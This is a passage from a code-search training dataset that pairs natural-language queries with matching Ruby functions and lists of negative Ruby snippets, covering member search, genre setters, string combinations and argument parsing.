"def new\n @aiit_member = AiitMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @aiit_member }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
This endpoint allows to search a member on the airline system.
|
def create_member_search(body)
# Prepare query url.
_path_url = '/v1/airline/members/actions/search'
_query_builder = Configuration.get_base_uri
_query_builder << _path_url
_query_url = APIHelper.clean_url _query_builder
# Prepare headers.
_headers = {
'accept' => 'application/json',
'content-type' => 'application/json; charset=utf-8'
}
# Prepare and execute HttpRequest.
_request = @http_client.post(
_query_url,
headers: _headers,
parameters: body.to_json
)
_context = execute_request(_request)
validate_response(_context)
# Return appropriate response type.
decoded = APIHelper.json_deserialize(_context.response.raw_body)
MemberSearchResponse.from_hash(decoded)
end
|
[
"def search\n expose Member.search(@oauth_token, params[:keyword], search_fields)\n end",
"def search_member\n search_params = params[:member].select {|k,v| not v.empty?}\n search_params['email'] = search_params['email'].split().last().gsub(/[()]/, '') if search_params['email']\n search_params['location'] = Location.find_by_postal_code_and_name(*search_params['location'].split()) if search_params['location']\n @members = Athlete.where(search_params)\n respond_with @members do |format|\n format.js\n end\n end",
"def search\n @members = Member.search_by params[:category], params[:keywords], params[:is_active]\n\n render :template => '/api/members/index'\n end",
"def find\n expose Account.find(@oauth_token, params[:membername])\n end",
"def search_for_a_guest(args = {}) \n get(\"/guestaccess.json/search\", args)\nend",
"def search_members(query, options = {})\n get search_path(\"members\"), options.merge(query: query)\n end",
"def search_emp\n @employee = Employee.search2(params[:advance_search], params[:search])\n authorize! :read, Employee\n end",
"def index\n @member_service_members = MemberService::Member.all\n end",
"def search_flight\n query = {}\n yield query\n if self.validate_query? query\n request_body = {\n :from => query[:from],\n :to => query[:to]\n }\n\n response = flight_server_connection.post do |req|\n req.url(Wego::Flight::Info.flight_server_search_path)\n req.headers['Content-Type'] = 'application/xml'\n req.body = request_body.to_xml(:root => 'root')\n end\n response_body = Hash.from_xml(response.body)\n\n if response_body.has_key?('error')\n {\n :success => 0,\n :error_message => response_body['error']\n }\n else\n root = response_body['root']\n if root\n {\n :success => 1,\n :airlines => root['airlines']\n }\n end\n end\n end\n end",
"def find(member_address)\n Mailgun.submit :get, list_member_url(member_address)\n end",
"def show(name)\n @api.search_show name\n end",
"def search_group_members(request)\n start.uri('/api/group/member/search')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end",
"def search\r\n @instance.search @query, @enterprise_filter\r\n end",
"def search(req)\n posted['dealership'] = @dealership\n query_response = DataOne::Api.fetch(posted['vin'].upcase)\n if query_response.nil?\n @subsection = 'vehicle-add'\n @title = 'Add Vehicle'\n\n @errors = { 'vin' => 'Vin not found.' }\n render 'admin/vehicle/add.erb'\n else\n vehicle = save_vehicle(xml_to_vehicle(query_response).set({\n 'dealership' => @dealership\n }))\n redirect \"/admin/#{@dealership.slug}/#{vehicle.slug}/edit\"\n end\n end",
"def get_members_of_search(id, params = {})\n get(\"/searches/#{id}/members\", params)\n end",
"def search\n @owner = Owner.find(params[:id])\n\n respond_to do |format|\n format.html # search.html.erb\n format.json { render json: @owner }\n end\n end",
"def contractor_search\n\n # get the contract\n @contract = Contract.find(params[:id])\n\n # get the client\n @client = @contract.client\n\n # double check the query\n query = params[:q]\n if query.blank? || query[0].blank?\n\n flash[:notice] = \"You must specify a last name or email address\"\n @contractors = []\n \n else\n\n @contractors = User.paginate :per_page => 26, :page => params[:page], :conditions => [\"(lastName like ? or email = ?) and type = 'ContractorUser'\", '%'+query.to_s+'%', '%'+query.to_s+'%'], :order => 'lastName'\n \n end\n \n end",
"def report_search\n member = self.earned_membership.member\n \"#{member.fullname} #{member.email} \" + self.earned_membership.requirements.collect(&:name).join(\" \")\n end",
"def search type, query\n if type != 'anime' && type != 'manga'\n raise 'Invalid search type: must be anime or manga'\n end\n escaped_query = CGI::escape query\n response = RestClient::Request.execute(\n method: :get,\n url: \"https://myanimelist.net/api/#{type}/search.xml?q=#{escaped_query}\",\n user: @username,\n password: @password\n )\n SearchResponse.new response.body\n rescue RestClient::ExceptionWithResponse => e\n SearchResponse.new e.response.body, :error\n rescue RuntimeError => e\n SearchResponse.new e.message, :error\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
sets the genre to the genre of the specified name
|
def genre_name=(name)
self.genre = Genre.find_or_create_by(name: name)
self.genre = genre
end
|
[
"def genre_name=(name)\n self.genre = Genre.find_or_create_by(name: name)\n end",
"def genre_name=(name)\n self.genre = Genre.find_or_create_by(name: name)\n end",
"def set_genre(genre)\n @songs.each { |s| s.genre = genre }\n end",
"def genre(value)\n @ole.Genre = value\n nil\n end",
"def genre=(value)\n @genre = value\n end",
"def genre=(genre)\n @genre = genre\n end",
"def genre=(genre)\n @genre = genre \n GENRES << genre \n end",
"def genre=(genre)\n if `osascript -e 'tell application \\\"iTunes\\\" to set genre of file track id #{@id} to \\\"#{genre}\\\"'` \n @genre = genre\n else\n raise \"could not set 'genre' for video\"\n end\n end",
"def genre=(genre)\n @genre = genre\n \n # adds the song to the genre's collection of songs \n # (genre has many songs).\n # Doesn't add the song to the genre's collection of\n # songs if it already exists therein\n if !(genre.songs.include?(self))\n genre.songs << self\n end\n end",
"def change_genre_type(new_genre_type_id)\n @genre = new_genre_type_id\n end",
"def genre=(genre)\n @genre = genre #assigns a genre to the song (song belongs to genre)\n genre.songs << self unless genre.songs.include?(self) #adds the song to the genre's collection of songs (genre has many songs); does not add the song to the genre's collection of songs if it already exists therein\n end",
"def genre=(genre) # create the writer for genre and add the logic for the class CONSTANT\n @genre = genre\n GENRES << genre \n end",
"def genre=(id)\n self.genre_id = id.to_i\n end",
"def genre( album )\n metadata = compute_metadata( album )\n @genre = build_genre_string( metadata )\n return @genre\n end",
"def genre\n fetch('game.genre')\n end",
"def genre_name\n # self.genre.name\n self.genre ? self.genre.name : ''\n end",
"def add_genre(genre, score)\n @genres[genre] = score\n end",
"def test_genre_setter\n\t\tmovie = Movie.new(title: \"Exorcist\", genre: \"horror\", run_time: \"2:12\",\n\t\t\trating: \"9 chocolate bunnies\", where_to_watch: \"at home on blue ray\")\n\t\tmovie.genre = \"comedy\"\n\t\tassert_equal(\"comedy\", movie.genre)\n\tend",
"def lookup_genre(s)\n \tg = genre_list()\n \tg[s]\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
then, the method will print: "a", "b", "c", "ab", "bc", "abc" if the input string is "abcd", then, the method will print: "a", "b", "c", "d", "ab", "bc", "cd", "abc", "bcd", "abcd"
|
def print_combinations(str)
return if !str || str.length == 0
str_length = str.length
char_count = 1
while char_count <= str_length
start_index = 0
print_current(start_index, char_count, str, str_length)
char_count += 1
end
return
end
|
[
"def string_reduction(str)\n idx = 0\n until str.chars.uniq.size == 1\n if idx >= str.size - 1\n idx = 0\n next\n end\n if str[idx] == 'a'\n if str[idx + 1] == 'b'\n str[idx..idx + 1] = 'c'\n idx = 0\n elsif str[idx + 1] == 'c'\n str[idx..idx + 1] = 'b'\n idx = 0\n else\n idx += 1\n end\n elsif str[idx] == 'b'\n if str[idx + 1] == 'a'\n str[idx..idx + 1] = 'c'\n idx = 0\n elsif str[idx + 1] == 'c'\n str[idx..idx + 1] = 'a'\n idx = 0\n else\n idx += 1\n end\n elsif str[idx] == 'c'\n if str[idx + 1] == 'a'\n str[idx..idx + 1] = 'b'\n idx = 0\n elsif str[idx + 1] == 'b'\n str[idx..idx + 1] = 'a'\n idx = 0\n else\n idx += 1\n end\n end\n end\n str.size\nend",
"def solution(string)\n if string.length % 2 == 0\n array = string.chars\n array = array.each_slice(2).to_a\n array = array.map{|e|e.join}\n\n else\n array = string.chars\n array.push(\"_\")\n array = array.each_slice(2).to_a\n array = array.map{|e|e.join}\n end\nend",
"def permute_string_recurse(input)\n \n return [] unless input && input.length > 0 # empty input base case\n return [input.downcase, input.upcase] if input.length==1 # single char case\n\n # input.len > 1 case\n output = []\n [input[0].downcase, input[0].upcase].each do |s0| \n output << permute_string_recurse(input[1..input.length-1]).map { |ps| s0+ps}\n end \n \n output.flatten!\nend",
"def find_all_combos(str=[\"\"],arr={})\n if str.length == 1\n return str\n end\n i = 0\n #iterate over each string\n while i < str.length\n j = 0\n if !arr[str[i]]\n arr[str[i]] = true\n end\n while j < str.length\n #create a new string by combining with the other strings\n if j != i\n new_str = str[i] + str[j]\n\n new_arr = [new_str]\n \n k = 0\n #build a new array with the string\n while k < str.length\n if(k != i && k!=j)\n new_arr.push(str[k])\n end\n k+=1\n end\n arr[new_str] = true\n find_all_combos(new_arr,arr)\n end\n j+=1\n end\n i+=1\n end\n return arr\nend",
"def solution(string)\n sliced = string.chars.each_slice(2).to_a\n \n if string.chars.length.odd?\n sliced.last.push(\"_\")\n end\n \n sliced.map {|sub_arr| sub_arr.join}\n \nend",
"def alphabeticShift(inputString)\n new_string = ''\n (0...inputString.length).each do |i|\n inputString[i] == 'z' ? new_string += 'a' : new_string += inputString[i].next\n end\n new_string\nend",
"def rearrange(str)\n \n #must be arr\n letters = str.split(\"\")\n \n #check whether possible\n hash = Hash.new(0)\n letters.each {|letter| hash[letter] += 1 }\n most = hash.values.max\n \n return \"not possible\" if most > (letters.length/2.0).ceil\n #baaabb\n letters.sort! p \"this is important SORT to lump all together\"\n #aaabbb\n i = 0\n while i < letters.length\n if letters[i] == letters[i+1]\n j = i + 1\n found = false\n while j < letters.length && !found\n if letters[j] != letters[i]\n letters[i+1], letters[j] = letters[j], letters[i+1]\n found = true\n end\n j += 1\n end\n end\n i += 1\n end\n \n #loop thru and switch positions\n letters.join(\"\")\n\nend",
"def crunch(string)\n count = 0\n crunched_string = ''\n while count <= string.size - 1\n crunched_string << string[count] unless string[count] == string[count + 1]\n count += 1\n end\n crunched_string\nend",
"def str_compression(string)\n #method to check for repeating letters\n def repeating_letters?(str)\n str.downcase.chars.group_by(&:itself).values.any? { |a| a.size > 1 }\n end\n\n #return string there is no repeating letter\n return string if repeating_letters?(string) == false\n \n new_string = string.downcase\n array = new_string.chars.chunk{ |i| i}.map{ |char, count| [char, count.length]}\n\n #return array with repeating letters\n array.flatten.map{ |s| s.to_s }.join('')\nend",
"def combination(str)\n result = [\"\"]\n do_combination(str, result)\nend",
"def repeater(string)\n arr1 = string.chars\n arr2 = string.chars\n arr1.zip(arr2).flatten.join\nend",
"def crunch(str)\n last_character = ''\n collapsed = str.chars.each_with_object([]) do |character, arr|\n unless character == last_character\n arr.push(character)\n last_character = character\n end\n end\n collapsed.join\nend",
"def substrings(string)\n substrings = []\n string.length.times do\n 1.upto(string.length) do |letters|\n substrings << string[0, letters]\n end\n string = string[1..-1]\n end\n p substrings\nend",
"def reorganize_string(a)\n length_a = a.length\n\n return a if length_a == 1\n\n (length_a - 2).times do |index|\n a = compare_characters(0,a, index * 1)\n\n return a if a.empty?\n end\n\n return [\"\"] if a[-2] == a[-1]\n\n a\nend",
"def substrings_at_start(string)\n result = []\n string = string.chars\n string.size.times do\n result << string.join('')\n string.pop\n end\n\n result.sort\nend",
"def solution(str)\n arr = []\n if str.length.odd? then str += '_' end\n str.chars.each_slice(2) { |x| arr.push(x.join('')) }\n arr\nend",
"def repeater(str)\n str.chars.zip(str.chars).join\nend",
"def repeater(string)\n doubled = ''\n characters = string.chars\n size = characters.size\n counter = 0\n\n while counter < size\n doubled = doubled + string[counter] + string[counter]\n\n counter += 1\n end\n\n doubled\nend",
"def string_permutation(word)\n return [] if word.size == 0\n return [word] if word.size == 1\n\n first = word[0]\n reminder = word[1..-1]\n\n words = string_permutation(reminder)\n\n words.inject([]) do |results, word|\n array = word.split('')\n for i in 0..word.size\n results << array.insert(i, first).join\n array = word.split('')\n end\n results\n end\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Process argument, return register code if arg is like R0,R1 or AX,FLAG. Else if arg is a defined label, then returns it's address. If it is a integer, just read and parse to the caller. Otherwise it must be a undefined lebel, feel free to return nil. process_argument("123h") porcess_argument("R0") process_argument("start")
|
def process_argument(arg)
return REG[arg] if REG.has_key?(arg)
return EREG[arg] if EREG.has_key?(arg)
return SREG[arg] if SREG.has_key?(arg)
return @labels[arg] if @labels.has_key?(arg)
return arg.to_i(16) if arg =~ /^\d*[Hh]$/
return arg.to_i(10) if arg =~ /^\d*[Dd]+$/
return nil
end
|
[
"def process_argument(arg)\n # no additional paramaeters\n raise_invalid_parameter(arg)\n nil\n end",
"def argument\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 39 )\n\n\n return_value = ArgumentReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n root_0 = nil\n\n direction177 = nil\n identifier178 = nil\n argument_type179 = nil\n ipc_flags180 = nil\n\n\n stream_identifier = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule identifier\" )\n stream_argument_type = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule argument_type\" )\n stream_ipc_flags = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule ipc_flags\" )\n stream_direction = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule direction\" )\n begin\n # at line 215:12: ( direction )? identifier argument_type ( ipc_flags )?\n # at line 215:12: ( direction )?\n alt_24 = 2\n look_24_0 = @input.peek( 1 )\n\n if ( look_24_0 == T__72 || look_24_0 == T__75 || look_24_0 == T__82 || look_24_0.between?( T__95, T__96 ) || look_24_0.between?( T__100, T__101 ) || look_24_0 == T__103 || look_24_0.between?( T__108, T__109 ) || look_24_0.between?( T__112, T__114 ) || look_24_0 == T__119 || look_24_0 == T__123 || look_24_0.between?( T__128, T__129 ) || look_24_0.between?( T__132, T__133 ) )\n alt_24 = 1\n end\n case alt_24\n when 1\n # at line 215:13: direction\n @state.following.push( TOKENS_FOLLOWING_direction_IN_argument_1181 )\n direction177 = direction\n @state.following.pop\n stream_direction.add( direction177.tree )\n\n\n end\n @state.following.push( TOKENS_FOLLOWING_identifier_IN_argument_1185 )\n identifier178 = identifier\n @state.following.pop\n stream_identifier.add( identifier178.tree )\n\n @state.following.push( TOKENS_FOLLOWING_argument_type_IN_argument_1187 )\n argument_type179 = argument_type\n @state.following.pop\n stream_argument_type.add( argument_type179.tree )\n\n # at line 215:50: ( ipc_flags )?\n alt_25 = 2\n look_25_0 = @input.peek( 1 )\n\n if ( look_25_0 == COMMA )\n alt_25 = 1\n end\n case alt_25\n when 1\n # at line 215:51: ipc_flags\n @state.following.push( TOKENS_FOLLOWING_ipc_flags_IN_argument_1190 )\n ipc_flags180 = ipc_flags\n @state.following.pop\n stream_ipc_flags.add( ipc_flags180.tree )\n\n\n end\n # AST Rewrite\n # elements: identifier, direction, ipc_flags, argument_type\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 215:63: -> ^( ARG_DEF identifier argument_type ( direction )? ( ipc_flags )? )\n # at line 215:66: ^( ARG_DEF identifier argument_type ( direction )? ( ipc_flags )? )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( ARG_DEF, \"ARG_DEF\" ), root_1 )\n\n @adaptor.add_child( root_1, stream_identifier.next_tree )\n\n @adaptor.add_child( root_1, stream_argument_type.next_tree )\n\n # at line 215:101: ( direction )?\n if stream_direction.has_next?\n @adaptor.add_child( root_1, stream_direction.next_tree )\n\n end\n\n stream_direction.reset();\n\n # at line 215:112: ( ipc_flags )?\n if stream_ipc_flags.has_next?\n @adaptor.add_child( root_1, stream_ipc_flags.next_tree )\n\n end\n\n stream_ipc_flags.reset();\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n\n return_value.tree = root_0\n\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 39 )\n\n\n end\n\n return return_value\n end",
"def argument\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 59 )\n return_value = ArgumentReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n argument_start_index = @input.index\n\n root_0 = nil\n string_literal494 = nil\n string_literal496 = nil\n set498 = nil\n argument_name492 = nil\n keyOUT493 = nil\n keyOUT495 = nil\n argument_type497 = nil\n plsql_expression499 = nil\n\n tree_for_string_literal494 = nil\n tree_for_string_literal496 = nil\n tree_for_set498 = nil\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return return_value\n end\n root_0 = @adaptor.create_flat_list\n\n\n # at line 427:4: argument_name ( keyOUT | 'IN' keyOUT | 'IN' )? ( argument_type )? ( ( ASSIGN | 'DEFAULT' ) plsql_expression )?\n @state.following.push( TOKENS_FOLLOWING_argument_name_IN_argument_2803 )\n argument_name492 = argument_name\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, argument_name492.tree )\n end\n # at line 427:18: ( keyOUT | 'IN' keyOUT | 'IN' )?\n alt_119 = 4\n look_119_0 = @input.peek( 1 )\n\n if ( look_119_0 == T__159 )\n alt_119 = 1\n elsif ( look_119_0 == T__102 )\n look_119_2 = @input.peek( 2 )\n\n if ( look_119_2 == T__159 )\n alt_119 = 2\n elsif ( look_119_2 == EOF || look_119_2 == ASSIGN || look_119_2 == RPAREN || look_119_2 == COMMA || look_119_2.between?( ID, DOUBLEQUOTED_STRING ) || look_119_2 == T__59 || look_119_2.between?( T__64, T__76 ) || look_119_2.between?( T__79, T__86 ) || look_119_2.between?( T__88, T__101 ) )\n alt_119 = 3\n end\n end\n case alt_119\n when 1\n # at line 427:20: keyOUT\n @state.following.push( TOKENS_FOLLOWING_keyOUT_IN_argument_2807 )\n keyOUT493 = keyOUT\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, keyOUT493.tree )\n end\n\n when 2\n # at line 427:29: 'IN' keyOUT\n string_literal494 = match( T__102, TOKENS_FOLLOWING_T__102_IN_argument_2811 )\n if @state.backtracking == 0\n\n tree_for_string_literal494 = @adaptor.create_with_payload( string_literal494 )\n @adaptor.add_child( root_0, tree_for_string_literal494 )\n\n end\n @state.following.push( TOKENS_FOLLOWING_keyOUT_IN_argument_2813 )\n keyOUT495 = keyOUT\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, keyOUT495.tree )\n end\n\n when 3\n # at line 427:43: 'IN'\n string_literal496 = match( T__102, TOKENS_FOLLOWING_T__102_IN_argument_2817 )\n if @state.backtracking == 0\n\n tree_for_string_literal496 = @adaptor.create_with_payload( string_literal496 )\n @adaptor.add_child( root_0, tree_for_string_literal496 )\n\n end\n\n end\n # at line 427:51: ( argument_type )?\n alt_120 = 2\n look_120_0 = @input.peek( 1 )\n\n if ( look_120_0.between?( ID, DOUBLEQUOTED_STRING ) || look_120_0.between?( T__64, T__76 ) || look_120_0.between?( T__79, T__86 ) || look_120_0.between?( T__88, T__101 ) )\n alt_120 = 1\n end\n case alt_120\n when 1\n # at line 427:52: argument_type\n @state.following.push( TOKENS_FOLLOWING_argument_type_IN_argument_2823 )\n argument_type497 = argument_type\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, argument_type497.tree )\n end\n\n end\n # at line 428:3: ( ( ASSIGN | 'DEFAULT' ) plsql_expression )?\n alt_121 = 2\n look_121_0 = @input.peek( 1 )\n\n if ( look_121_0 == ASSIGN || look_121_0 == T__59 )\n alt_121 = 1\n end\n case alt_121\n when 1\n # at line 428:5: ( ASSIGN | 'DEFAULT' ) plsql_expression\n set498 = @input.look\n if @input.peek(1) == ASSIGN || @input.peek(1) == T__59\n @input.consume\n if @state.backtracking == 0\n @adaptor.add_child( root_0, @adaptor.create_with_payload( set498 ) )\n end\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n @state.following.push( TOKENS_FOLLOWING_plsql_expression_IN_argument_2842 )\n plsql_expression499 = plsql_expression\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, plsql_expression499.tree )\n end\n\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 59 )\n memoize( __method__, argument_start_index, success ) if @state.backtracking > 0\n\n end\n \n return return_value\n end",
"def _rl_arg_dispatch(cxt, c)\r\n key = c\r\n\r\n # If we see a key bound to `universal-argument' after seeing digits,\r\n # it ends the argument but is otherwise ignored.\r\n if (@_rl_keymap[c] == :rl_universal_argument)\r\n if ((cxt & NUM_SAWDIGITS) == 0)\r\n @rl_numeric_arg *= 4\r\n return 1\r\n elsif (rl_isstate(RL_STATE_CALLBACK))\r\n @_rl_argcxt |= NUM_READONE\r\n return 0 # XXX\r\n else\r\n rl_setstate(RL_STATE_MOREINPUT)\r\n key = rl_read_key()\r\n rl_unsetstate(RL_STATE_MOREINPUT)\r\n rl_restore_prompt()\r\n rl_clear_message()\r\n rl_unsetstate(RL_STATE_NUMERICARG)\r\n if key.is_a?(Integer) && key < 0\r\n return -1\r\n end\r\n return (_rl_dispatch(key, @_rl_keymap))\r\n end\r\n end\r\n\r\n #c = (c[0].ord & ~0x80).chr\r\n r = c[1,1]\r\n if (r>='0' && r<='9')\r\n r = r.to_i\r\n @rl_numeric_arg = @rl_explicit_arg ? (@rl_numeric_arg * 10) + r : r\r\n @rl_explicit_arg = 1\r\n @_rl_argcxt |= NUM_SAWDIGITS\r\n elsif (c == '-' && !@rl_explicit_arg)\r\n @rl_numeric_arg = 1\r\n @_rl_argcxt |= NUM_SAWMINUS\r\n @rl_arg_sign = -1\r\n else\r\n # Make M-- command equivalent to M--1 command.\r\n if ((@_rl_argcxt & NUM_SAWMINUS)!=0 && @rl_numeric_arg == 1 && !@rl_explicit_arg)\r\n @rl_explicit_arg = 1\r\n end\r\n rl_restore_prompt()\r\n rl_clear_message()\r\n rl_unsetstate(RL_STATE_NUMERICARG)\r\n\r\n r = _rl_dispatch(key, @_rl_keymap)\r\n if (rl_isstate(RL_STATE_CALLBACK))\r\n # At worst, this will cause an extra redisplay. Otherwise,\r\n # we have to wait until the next character comes in.\r\n if (!@rl_done)\r\n send(@rl_redisplay_function)\r\n end\r\n r = 0\r\n end\r\n return r\r\n end\r\n 1\r\n end",
"def getinteger(arg)\n arg.strip!\n if arg.match(/^\\d+$/)\n arg.to_i\n else\n $stderr.puts \"ERROR: Not a number : #{arg}\"\n exit STATE_UNKNOWN\n end\nend",
"def parse_arg(arg) # :nodoc:\n pattern or return nil, [arg]\n unless m = pattern.match(arg)\n yield(InvalidArgument, arg)\n return arg, []\n end\n if String === m\n m = [s = m]\n else\n m = m.to_a\n s = m[0]\n return nil, m unless String === s\n end\n raise InvalidArgument, arg unless arg.rindex(s, 0)\n return nil, m if s.length == arg.length\n yield(InvalidArgument, arg) # didn't match whole arg\n return arg[s.length..-1], m\n end",
"def argument_name\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 60 )\n return_value = ArgumentNameReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n argument_name_start_index = @input.index\n\n root_0 = nil\n identifier500 = nil\n\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return return_value\n end\n root_0 = @adaptor.create_flat_list\n\n\n # at line 432:4: identifier\n @state.following.push( TOKENS_FOLLOWING_identifier_IN_argument_name_2856 )\n identifier500 = identifier\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, identifier500.tree )\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 60 )\n memoize( __method__, argument_name_start_index, success ) if @state.backtracking > 0\n\n end\n \n return return_value\n end",
"def get_argument_value(arg, required, fallback)\n if @args.has_key?(arg)\n @args[arg]\n else\n raise ArgumentError, \"Required argument #{arg} is blank\" if required\n fallback\n end\nend",
"def parse_position_one_arg(arg, old_mod=nil, show_errmsg=true, allow_offset=false)\n name, filename = nil, nil, nil\n begin\n # First see if argument is an integer\n lineno = Integer(arg)\n rescue\n else\n filename = @frame.file\n return nil, canonic_file(filename), lineno\n end\n\n # Next see if argument is a file name \n if LineCache::cached?(arg)\n return nil, canonic_file(arg), 1 \n elsif File.readable?(arg)\n return nil, canonic_file(arg), 1 \n end\n\n # How about a method name with an instruction sequence?\n meth = parse_method(arg)\n if meth\n cm = meth.executable\n return arg, canonic_file(cm.active_path), cm.lines[1]\n end\n\n if show_errmsg\n unless (allow_offset && arg.size > 0 && arg[0].downcase == 'o')\n errmsg(\"#{arg} is not a line number, filename or method \" +\n \"we can get location information about\")\n end\n end\n return nil, nil, nil\n end",
"def call_processor(instruction)\n begin\n xml = \"<#{instruction[2..-3].strip}/>\"\n document = REXML::Document.new(xml)\n root = document.root\n command = root.name\n args = {}\n for name in root.attributes.keys\n value = root.attributes[name]\n args[name] = value\n end\n \t error \"Instruction '#{command}' not found\" if \n \t not @menu.processor.respond_to?(command)\n \t return @menu.processor.send(command, args)\n \trescue\n \t error \"Error parsing instruction '#{instruction}': #{$!}\"\n \tend\n end",
"def _analyze(arg)\n is_long = false\n is_short = false\n name = nil\n\n if arg[0..1] == '--'\n is_long = true\n name = arg[2..-1]\n elsif arg[0] == '-'\n is_short = true\n name = arg[1..-1]\n end\n\n # arg is not a long/short option, add to arguments values\n unless is_long || is_short\n @argument_values.push arg\n return true\n end\n\n unless name.nil?\n # get the name of the option, short options use the first character\n option_name = if is_short\n name[0]\n else\n name\n end\n\n option, matched = @options.get_with_alias option_name\n\n # no option by this name in options\n return nil if option.nil?\n\n # see if the type if right, short or long\n if matched.is_long && !is_long\n return nil\n elsif matched.is_short && !is_short\n return nil\n end\n\n if is_long\n if option.is_value\n # is_value needs a next argument for its value\n return nil if _peek_next.nil?\n\n @matched_options[option.name] = _peek_next\n _skip_next\n else\n option_value! option\n end\n end\n\n if is_short\n if name.size == 1 && option.is_value\n # is_value needs a next argument for its value\n return nil if _peek_next.nil?\n\n @matched_options[option.name] = _peek_next\n _skip_next\n else\n # for every character (short option) increment the option value\n name.split('').each do |n|\n short_option = @options.get n\n return nil if short_option.nil?\n\n option_value! short_option\n end\n end\n end\n end\n\n true\n end",
"def arg(c,type)\n\t# possible segments\n\tmac = ['argument','local','static','constant','this','that','pointer','temp']\n\t# remove the initial command piece from the command line \n\trem = c[type.length...c.length]\n\t# if its an arithmetic command just return it \n\tif type.class == Hash then return c\n\telsif type.include?('goto') then rem = rem.tr('<',''); return [rem,type.include?('if')]\n\telsif rem.include?('<') then return rem.split('<')\n\t# if its a function or a call, grab its numeric piece (arg2) which specifies\n\t# nLocals or nArgs, then remove that piece -- the remaining piece is arg1\n\telsif type == 'function' || type == 'call'\n\t\tr = rem.reverse\n\t\tg = \"\"\n\t\tfor i in 0...rem.length do Float(r[i]) rescue break; g += r[i] end\n\t\tb = rem.split('').first(rem.length-i).join('')\n\t\treturn [b,g]\n\t# if its a push or pop, grab the piece that specifies the sgmt (arg1) and then\n\t# remove, yielding the remaining arg (arg2)\n\telsif type == 'push' || type == 'pop'\n\t\tt = mac.select{|x| rem.include?(x)}\n\t\tif t.length > 1 then return -1\n\t\telse return [t[0],rem.gsub(t[0],\"\")] end\n\telsif type == 'label' then return [rem]\n\telse return rem end\nend",
"def parse(switch, value, argv)\n if arg_name\n unless value\n raise \"no value provided for: #{switch}\" if argv.empty?\n value = argv.shift\n end\n block ? block.call(value) : value\n else\n raise \"value specified for flag: #{switch}\" if value\n block ? block.call : nil\n end\n end",
"def redact_argument_value?(argument, value); end",
"def try_process_smashed_arg(flag)\n option = matching_option(flag[0, 2])\n if option && option.expects_argument?\n process(option, flag[2..-1])\n end\n end",
